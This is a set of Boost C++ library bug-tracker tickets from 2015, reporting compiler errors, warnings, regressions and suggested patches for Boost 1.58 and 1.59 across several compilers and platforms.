error:     -  none
error:     -  <dll-path>/opt/local/bin
error:
error: Please make sure to have consistent requirements for these
error: properties everywhere in your project, especially for install
error: targets.

This used to work with 1.58.0 and earlier. Our default is threading=multi which still works fine with 1.59.0.

#11553: Problem with std::complex

lcarreon@… — Tue, 18 Aug 2015 11:00:02 GMT

I compiled Boost 1.59.0 with Solaris Studio 12.4 in C++11 mode and I get the following error messages:

"libs/python/src/converter/builtin_converters.cpp", line 474: Error: Overloading ambiguity between "std::complex<double>::complex(double, double)" and "std::complex<double>::complex(complex double[2])". "libs/python/src/converter/builtin_converters.cpp", line 474: Error: Cannot return long from a function that should return std::complex<double>.

I suspect this is a compiler issue, just want to confirm.

#11552: Warning from chrono that could helpfully be suppressed

Paul A. Bristow — Tue, 18 Aug 2015 10:58:32 GMT

Boost.Chrono is emitting warnings with GCC (5.1.0) that cannot be suppressed even using the following cxxflags in the user jamfile

      <toolset>gcc:<cxxflags>-Wno-deprecated-declarations
      <toolset>gcc:<cxxflags>-Wno-long-long
      <toolset>gcc:<cxxflags>-ftrack-macro-expansion=0 # Suppress note: in expansion of macro

and they are repeated on every compilation which is quite annoying when reading the log file.

For example:

gcc.compile.c++ ..\..\..\bin.v2\libs\timer\build\gcc-mingw-5.1.0\debug\link-static\auto_timers_construction.o
In file included from C:/Program Files/mingw-w64/x86_64-5.1.0-win32-seh-rt_v4-rev0/mingw64/lib/gcc/x86_64-w64-mingw32/5.1.0/include/stdint.h:9:0,
                 from ..\..\../boost/cstdint.hpp:60,
                 from ..\..\../boost/ratio/config.hpp:13,
                 from ..\..\../boost/ratio/ratio.hpp:35,
                 from ..\..\../boost/chrono/duration.hpp:41,
                 from ..\..\../boost/chrono/chrono.hpp:11,
                 from ..\..\../boost/timer/timer.hpp:14,
                 from ..\..\..\libs\timer\src\auto_timers_construction.cpp:23:
..\..\../boost/chrono/system_clocks.hpp:77:111: warning: use of C++11 long long integer constant [-Wlong-long]
 # define BOOST_SYSTEM_CLOCK_DURATION
boost::chrono::duration<boost::int_least64_t, ratio<BOOST_RATIO_INTMAX_C(1), BOOST_RATIO_INTMAX_C(10000000)> >
                                                                                                               ^
..\..\../boost/chrono/system_clocks.hpp:77:90: note: in expansion of macro 'BOOST_RATIO_INTMAX_C'
 # define BOOST_SYSTEM_CLOCK_DURATION boost::chrono::duration<boost::int_least64_t, ratio<BOOST_RATIO_INTMAX_C(1), BOOST_RATIO_INTMAX_C(10000000)> >

and more...

It would be nice if the user would not see these (spurious?) warnings.

#11551: Missing type member

lcarreon@… — Tue, 18 Aug 2015 10:56:48 GMT

I compiled Boost 1.59.0 with Solaris Studio 12.4 in C++11 mode and I get the following error messages:

"./boost/proto/detail/preprocessed/make_expr_.hpp", line 73: Error: type is not a member of boost::proto::transform<boost::proto::switch_<boost::phoenix::phoenix_generator, boost::proto::tag_of<boost::proto::_>()>, void>::result<boost::phoenix::phoenix_generator(boost::proto::exprns_::basic_expr<boost::proto::tagns_::tag::assign, boost::proto::argsns_::list2<boost::proto::exprns_::basic_expr<boost::proto::tagns_::tag::terminal, boost::proto::argsns_::term<boost::phoenix::argument<1>>, 0>, boost::phoenix::actor<boost::proto::exprns_::basic_expr<boost::proto::tagns_::tag::terminal, boost::proto::argsns_::term<boost::phoenix::argument<1>>, 0>>>, 2>)>.

My suspicion is that this is a compiler issue but I just need to confirm with you that it is.

#11550: Solaris - boost::call_once issues

lcarreon@… — Tue, 18 Aug 2015 10:46:34 GMT

I compiled Boost 1.59.0 with Solaris Studio 12.4 in C++11 mode and I

get the following error messages:

"libs/thread/src/pthread/thread.cpp", line 144: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(&)()>(boost::once_flag&, void(&)())".
"libs/thread/src/pthread/thread.cpp", line 150: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(&)()>(boost::once_flag&, void(&)())".
"libs/context/src/posix/stack_traits.cpp", line 58: Error: Overloading ambiguity between "boost::call_once<void(&)(unsigned long*), unsigned long*>(boost::once_flag&, void(&)(unsigned long*), unsigned long*&&)" and "boost::call_once<void(*)(unsigned long*), unsigned long*>(boost::once_flag&, void(*)(unsigned long*), unsigned long*)".
"libs/context/src/posix/stack_traits.cpp", line 66: Error: Overloading ambiguity between "boost::call_once<void(&)(rlimit*), rlimit*>(boost::once_flag&, void(&)(rlimit*), rlimit*&&)" and "boost::call_once<void(*)(rlimit*), rlimit*>(boost::once_flag&, void(*)(rlimit*), rlimit*)".
"libs/coroutine/src/posix/stack_traits.cpp", line 56: Error: Overloading ambiguity between "boost::call_once<void(&)(unsigned long*), unsigned long*>(boost::once_flag&, void(&)(unsigned long*), unsigned long*&&)" and "boost::call_once<void(*)(unsigned long*), unsigned long*>(boost::once_flag&, void(*)(unsigned long*), unsigned long*)".
"libs/coroutine/src/posix/stack_traits.cpp", line 64: Error: Overloading ambiguity between "boost::call_once<void(&)(rlimit*), rlimit*>(boost::once_flag&, void(&)(rlimit*), rlimit*&&)" and "boost::call_once<void(*)(rlimit*), rlimit*>(boost::once_flag&, void(*)(rlimit*), rlimit*)".
"./boost/thread/once.hpp", line 38: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(*)()&>(boost::once_flag&, void(*)()&)".
"./boost/spirit/home/classic/core/non_terminal/impl/object_with_id.ipp", line 145: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(&)()>(boost::once_flag&, void(&)())".
"./boost/spirit/home/classic/phoenix/closures.hpp", line 427: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(&)()>(boost::once_flag&, void(&)())".
"./boost/thread/once.hpp", line 38: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(*)()&>(boost::once_flag&, void(*)()&)".
"./boost/spirit/home/classic/core/non_terminal/impl/object_with_id.ipp", line 145: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(&)()>(boost::once_flag&, void(&)())".
"./boost/thread/once.hpp", line 38: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(*)()&>(boost::once_flag&, void(*)()&)".
"./boost/spirit/home/classic/core/non_terminal/impl/object_with_id.ipp", line 145: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(&)()>(boost::once_flag&, void(&)())".
"./boost/spirit/home/classic/phoenix/closures.hpp", line 427: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(&)()>(boost::once_flag&, void(&)())".
"./boost/thread/once.hpp", line 38: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(*)()&>(boost::once_flag&, void(*)()&)".
"./boost/spirit/home/classic/core/non_terminal/impl/object_with_id.ipp", line 145: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(&)()>(boost::once_flag&, void(&)())".
"./boost/thread/once.hpp", line 38: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(*)()&>(boost::once_flag&, void(*)()&)".
"./boost/spirit/home/classic/core/non_terminal/impl/object_with_id.ipp", line 145: Error: Overloading ambiguity between "boost::call_once<void(*)()>(boost::once_flag&, void(*)())" and "boost::call_once<void(&)()>(boost::once_flag&, void(&)())".

I'm not 100% sure whether these are compiler issues or Boost compiler configuration issues thus I decided to raise this ticket.

#11548: Crosscompiling 1.59 with i686-w64-mingw32-g++ fails

Tue, 18 Aug 2015 09:07:18 GMT

Using

using gcc : i686 : i686-w64-mingw32-g++ ;

in tools/build/src/user-config.jam

with i686-w64-mingw32-g++ (GCC) 4.8.2

and calling

./b2 toolset=gcc-i686 address-model=32 link=shared --stagedir=Win32 target-os=windows threading=multi threadapi=win32 variant=release --with-date_time --with-filesystem --with-graph --with-math --with-program_options --with-serialization --with-system --with-thread --with-timer

gives compiler errors

gcc.compile.c++ bin.v2/libs/serialization/build/gcc-mingw-i686/release/target-os-windows/threadapi-win32/threading-multi/text_woarchive.o In file included from ./boost/archive/detail/common_oarchive.hpp:21:0,

from ./boost/archive/basic_text_oarchive.hpp:29, from ./boost/archive/text_woarchive.hpp:36, from libs/serialization/src/text_woarchive.cpp:17:

./boost/archive/detail/basic_oarchive.hpp:64:5: error: function ‘boost::archive::detail::helper_collection& boost::archive::detail::basic_oarchive::get_helper_collection()’ definition is marked dllimport

get_helper_collection(){

In file included from ./boost/archive/detail/common_oarchive.hpp:22:0,

from ./boost/archive/basic_text_oarchive.hpp:29, from ./boost/archive/text_woarchive.hpp:36, from libs/serialization/src/text_woarchive.cpp:17:

./boost/archive/detail/interface_oarchive.hpp:32:38: warning: type attributes ignored after type is already defined [-Wattributes]

class BOOST_ARCHIVE_OR_WARCHIVE_DECL basic_pointer_oserializer;

Crosscompiling 64bit version with x86_64-w64-mingw32-g++ (GCC) 4.8.2 also fails.

#11542: Using geometry buffer with integer coordinate type

jim.whittaker@… — Mon, 17 Aug 2015 16:21:01 GMT

Applied the following patch to allow use of buffer when using an integer coordinate type. Found in 1_58, also present in 1_59.

diff -Naur boost_1_58_0/boost/geometry/strategies/cartesian/buffer_point_square.hpp boost_1_58_0.new/boost/geometry/strategies/cartesian/buffer_point_square.hpp --- boost_1_58_0/boost/geometry/strategies/cartesian/buffer_point_square.hpp 2015-03-30 17:25:04.000000000 +0100 +++ boost_1_58_0.new/boost/geometry/strategies/cartesian/buffer_point_square.hpp 2015-07-01 15:42:33.174193134 +0100 @@ -71,10 +71,10 @@

DistanceType const& distance, OutputRange& output_range) const

{

add_point(point, distance, -1.0, -1.0, output_range);
add_point(point, distance, -1.0, +1.0, output_range);
add_point(point, distance, +1.0, +1.0, output_range);
add_point(point, distance, +1.0, -1.0, output_range);

+ add_point(point, distance, -1, -1, output_range); + add_point(point, distance, -1, +1, output_range); + add_point(point, distance, +1, +1, output_range); + add_point(point, distance, +1, -1, output_range);

Close it: output_range.push_back(output_range.front());

#11539: VS2015 warning: macro redefinition

anonymous — Sat, 15 Aug 2015 11:13:21 GMT

boost/asio/detail/config.hpp(227): warning C4005: 'BOOST_ASIO_ERROR_CATEGORY_NOEXCEPT': macro redefinition boost/asio/detail/config.hpp(213): note: see previous definition of 'BOOST_ASIO_ERROR_CATEGORY_NOEXCEPT'

#11537: named_recursive_mutex deadlock problem

zzweng_2001@… — Thu, 13 Aug 2015 07:27:49 GMT

In my fastcgi application code, I tried to use managed_mapped_file to communicate between process, and use named_recursive_mutex to do synchronization. With fastcgi, I started 3 child process, after a few minutes, I found all these 3 process waiting for lock: Thread 1 (Thread 0x7f0e2b536820 (LWP 16593)): #0 0x0000003d9ee0e054 in lll_lock_wait () from /lib64/libpthread.so.0 #1 0x0000003d9ee093a3 in _L_lock_892 () from /lib64/libpthread.so.0 #2 0x0000003d9ee09287 in pthread_mutex_lock () from /lib64/libpthread.so.0 #3 0x000000000054a9cf in boost::interprocess::ipcdetail::posix_recursive_mutex::lock() () #4 0x000000000054aabc in boost::interprocess::interprocess_recursive_mutex::lock() () #5 0x000000000054b304 in boost::interprocess::ipcdetail::shm_named_recursive_mutex::lock() () #6 0x000000000054b390 in boost::interprocess::named_recursive_mutex::lock() () #7 0x000000000054bade in boost::interprocess::scoped_lock<boost::interprocess::named_recursive_mutex>::scoped_lock(boost::interprocess::named_recursive_mutex&) () #8 0x00000000005647ef in IPRateLimit::CIPLimit::incCount(unsigned int, IPRateLimit::iprate&) () #9 0x00000000004d8017 in (anonymous namespace)::TboProc::operator()() () #10 0x00000000004e40f9 in Goome::FCGI_Accepter<(anonymous namespace)::TboProc>::dispatch() () #11 0x00000000004e2f80 in fork_main(int) () #12 0x00000000004e346f in main ()

#11535: standard integrate_times function causes tiny time steps

gaiwa84@… — Wed, 12 Aug 2015 02:50:48 GMT

Hello!

While implementing a new algorithm, I discovered that the function boost::numeric::odeint::detail::integrate_times(...) produces tiny time steps due to numerical accuracy issues (the relative error dt/t < 1e-18 for type long double with 18 significant digits). After changing the function as below, the runge_kutta4 algorithm became about 15% faster for my problem at the same accuracy. But maybe I am missing the reason for the old implementation?

Here is the new code with the old stuff commented out:

/*
 * integrate_times for simple stepper
 */
template< class Stepper , class System , class State , class TimeIterator , class Time , class Observer >
size_t integrate_times(
        Stepper stepper , System system , State &start_state ,
        TimeIterator start_time , TimeIterator end_time , Time dt ,
        Observer observer , stepper_tag
)
{
    BOOST_USING_STD_MIN();
    typename odeint::unwrap_reference< Observer >::type &obs = observer;
    size_t steps = 0;
    Time current_dt = dt;
    while( true )
    {
        Time current_time = *start_time++;
        obs( start_state , current_time );
        if( start_time == end_time )
            break;
//         while( less_with_sign( current_time , *start_time , current_dt ) )
//         {
            current_dt = min BOOST_PREVENT_MACRO_SUBSTITUTION ( dt , *start_time - current_time );
            stepper.do_step( system , start_state , current_time , current_dt );
//             current_time += current_dt;
	    current_time = *start_time; //THIS IS NEW!
            steps++;
//         }
    }
    return steps;
}

#11534: timer/inspect execution failure w/ g++-4.9.2 on Solaris 11.2

angela.xie@… — Tue, 11 Aug 2015 18:51:32 GMT

Problem:timer/inspect test fails to execute with

1 duplicate bookmarks 13 broken links 1 files with a C-style assert macro

with g++4.9.2 on Solaris 11.2. Test fails with studio 12.4 as well.

Log of the run:

"../../../bin.v2/tools/inspect/build/gcc-4.8.2/release/link-static/inspect" /net/pontus/export/users/aixie/isv_test/boost_test/test_gcc/boost_1_57_0/libs/timer -text -brief > "../../../bin.v2/libs/timer/test/inspect.test/gcc-4.8.2/release/inspect.output" 2>&1

...

BEGIN OUTPUT

Boost Inspection Report Run Date: 00:16:28 UTC, Wednesday 04 February 2015

Totals:

19 files scanned 11 directories scanned (including root) 15 problems reported

Problem counts:

0 files missing Boost license info or having wrong reference text 0 files missing copyright notice 0 files with invalid line endings 0 files that don't end with a newline 0 bookmarks with invalid characters 1 duplicate bookmarks 0 invalid urls 13 broken links 0 unlinked files 0 file and directory name issues 0 files with tabs 0 files with non-ASCII chars 0 files with Apple macros 1 files with a C-style assert macro 0 files with a deprecated BOOST macro 0 violations of the Boost min/max guidelines 0 usages of unnamed namespaces in headers (including .ipp files)

... |doc|

doc/

"cpu_timers.html": Broken link: ../example/auto_cpu_example.cpp Duplicate bookmark: format Unknown bookmark: #cpu_timer-format "original_timer.html": Broken link: ../../boost/timer.hpp Broken link: ../../boost/progress.hpp Broken link: ../../boost/timer.hpp Broken link: ../../boost/progress.hpp Broken link: ../utility/utility.htm#Class_noncopyable

|src|

src/

"cpu_timer.cpp": C-style assert macro on line 107

#11529: regression: boost::archive::archive_exception exception during serialization non latin1 strings to xml

nikolay@… — Fri, 07 Aug 2015 10:44:05 GMT

Just try compile and run following example:

int _tmain(int argc, _TCHAR* argv[])
{
	boost::filesystem::wofstream ofs("c:\\test.xml");
	std::string s1 = "kkk";
	std::wstring w1 = L"kkk";
	std::wstring w2 = L"апр"; // some non-lati1 (for example russians) letters
	boost::archive::xml_woarchive oa(ofs);
	oa << boost::serialization::make_nvp("key1", s1);
	oa << boost::serialization::make_nvp("key2", w1);
	oa << boost::serialization::make_nvp("key3", w2); // here exception is throw
	return 0;
}

This code was working in 1.38 + VS2005, 1.44+VS2005, 1.52+VS2005, 1.52+VS2012, 1.52+VS2013. When I have updated from boost 1.52 to boost 1.58 (both VS2013) I have mentioned my app crashes during serialization. I have tried this code on 1.57 + VS 2012 (unfortunatelly I don't have 1.57 compiled for VS2013) and it works. So problem appears between 1.57 and 1.58. If need I can obtain crash dumps.

#11528: MSVS 2015 + boost::range: STL and Boost iterators

Thu, 06 Aug 2015 14:16:16 GMT

The attached test program compiled with MSVS 2013, but doesn't with MSVS2015 in debug mode and Boost-trunk as of 2015-08-05. The transform_iterator is recognised as Boost foward iterator, but only as STL input iterator because its reference type is int. Since boost::max_element uses std::max_element, it doesn't compile in debug mode with:

c:\program files (x86)\microsoft visual studio 14.0\vc\include\xutility(1005): error C2338: next requires forward iterator

I'd be happy if this code compiled and worked, or if otherwise the Boost assertion would fire because the transform iterator is not a Boost forward traversal iterator.

#11527: socket connection error

danial1360@… — Thu, 06 Aug 2015 13:52:14 GMT

image the following code! it uses 2 threads and creates simple server client connection the code is simple and I use synchronize functions to make it easier to understand. in the client thread if I use :

while (error_ && it != end)

{ skt.close(); skt is socket skt.connect(*it++, error_); }

the the program crashes when it want to read or write something to the socket !! but if I use:boost::asio::connect(skt, it); then I works perfectly!!! notice that i will have this problem only if I use the code in two threads inside a single process. if I run the code in two different processes everything is fine. I am using windows 7 x67 and VS2013 but I am using 32bit project and 32bit boost library .

#11523: Interprocess communication between x86 and x64 issue

lutztonineubert@… — Tue, 04 Aug 2015 13:50:50 GMT

My code below is a very simple example, that should work to communicate between x86 and x64. But it doesn't...

If I create it in x64 and open in win32, the win32 process stuck at a lock at function try_based_lock in boost/int/sync/detail/common_algorithms.hpp In the other way around: win32 create, x64 open: the x64 process crashes at name_length in segment_manager_helper.hpp while trying to find the name from an index (priv_generic_find in segment_manager.hxx).

#include <iostream> 
#include <boost/interprocess/managed_shared_memory.hpp> 
int main() {
    namespace bip = boost::interprocess;
    // open in WIN32, create in x64 
#ifdef _WIN32 
    bip::managed_shared_memory msm(bip::open_only, "TestIPC");
#elsif X64 
    bip::shared_memory_object::remove("TestIPC");
    bip::managed_shared_memory msm(bip::create_only, "TestIPC", 4096);
    msm.construct<uint32_t>("Data")[1](10);
#endif 
    // Get Data and print it 
    auto data = msm.find<uint32_t>("Data");
    if (data.second == 1) {
        std::cout << *data.first << std::endl;
    }
    std::cin.ignore();
    return 0;
}

I am using Windows 7 and VC12.

#11521: Cannot create basic_vectorstream> in Boost 1.55+

anonymous — Sat, 01 Aug 2015 23:59:07 GMT

Moving from Boost 1.54 to 1.55 (and 1.58) I now get this error during compilation (VS2010):

void GzipDecompression::Decompress(const unsigned char * src, int length) {

if(src) {

Create an input-stream source for the data buffer so we can used the boost filtering buffer std::ifstream inputstream; typedef boost::iostreams::basic_array_source<char> Device; boost::iostreams::stream_buffer<Device> buffer((char *)src, length);

Inflate using the GZIP filter filtering_streambuf<input> in; in.push(gzip_decompressor()); in.push(buffer);

Get the result into a vector boost::interprocess::basic_vectorstream<std::vector<char>> vectorStream; copy(in, vectorStream); std::vector<char> output(vectorStream.vector());

}

}

error C2243: 'type cast' : conversion from 'boost::interprocess::basic_vectorstream<CharVector> *' to 'volatile const std::basic_streambuf<_Elem,_Traits> *' exists, but is inaccessible c:\boost\boost_1_55_0\boost\iostreams

#11520: pointer_iserializer requires operator delete(void*, size_t) for classes that have a specific operator new

Fri, 31 Jul 2015 20:59:28 GMT

Serialization of pointers to objects, which have a class specific operator new fails if the class only provides the regular (see https://github.com/boostorg/serialization/blob/master/include/boost/archive/detail/iserializer.hpp#L236)

T::operator delete(void*)

by requiring definition of

T::operator delete(void*, std::size_t)

However, the operator delete with size argument is entirely optional in the C++ standard. The comment in the code says this choice was made because the delete operator with only one argument is a usual deallocator, which the author assumes calls the destructor. This is incorrect in two ways: a) operator delete never calls the destructor (the delete expression calls the destructor and then operator delete to deallocate the storage, see sec. 5.3.5 of the standard) b) operator delete with a size argument is a usual delete operator (non-placement), just like the version with one argument.

In fact, it seems that the behaviour may be undefined if both versions of the delete operator are defined (sec. 5.3.5 paragraph 10).

I don't know how to test which of the two operators exists, but it seems safer to me to use the one-argument version. My existing code stopped working after upgrading boost, and I do not have access to the class being serialized. I am using an external non-intrusive serialization function.

#11515: dynamic_bitset move constructor should be conditionally noexcept

anonymous — Mon, 27 Jul 2015 19:09:58 GMT

It should be noexcept if buffer_type is nothrow move constructible, i.e., noexcept(is_nothrow_move_constructible<buffer_type>::value).

Otherwise, a std::vector<dynamic_bitset> will be forced to copy on reallocation.

#11513: roadmap update

anonymous — Mon, 27 Jul 2015 07:29:43 GMT

hi, could you try update the roadmap ; seems milestone 1.58 has been completed is 1.59 really ~2 weeks away ? great! keep up your amazing work!

#11511: concept_checks: -Wshadow warning isued

davido — Sun, 26 Jul 2015 13:06:11 GMT

-Wshadow warnings are issued.

#11509: gzip: -Wunused warning issued

davido — Sun, 26 Jul 2015 12:51:58 GMT

-Wunused warning is issued.

#11508: buffer: -Wshadow warning issued

davido — Sun, 26 Jul 2015 12:49:59 GMT

-Wshadow warnings are issued for the following files:

buffer.hpp
gzip.hpp
zlib.cpp

#11507: parser: -Wshadow warning issued

davido — Sun, 26 Jul 2015 12:46:41 GMT

-Wshadow warnings are issued.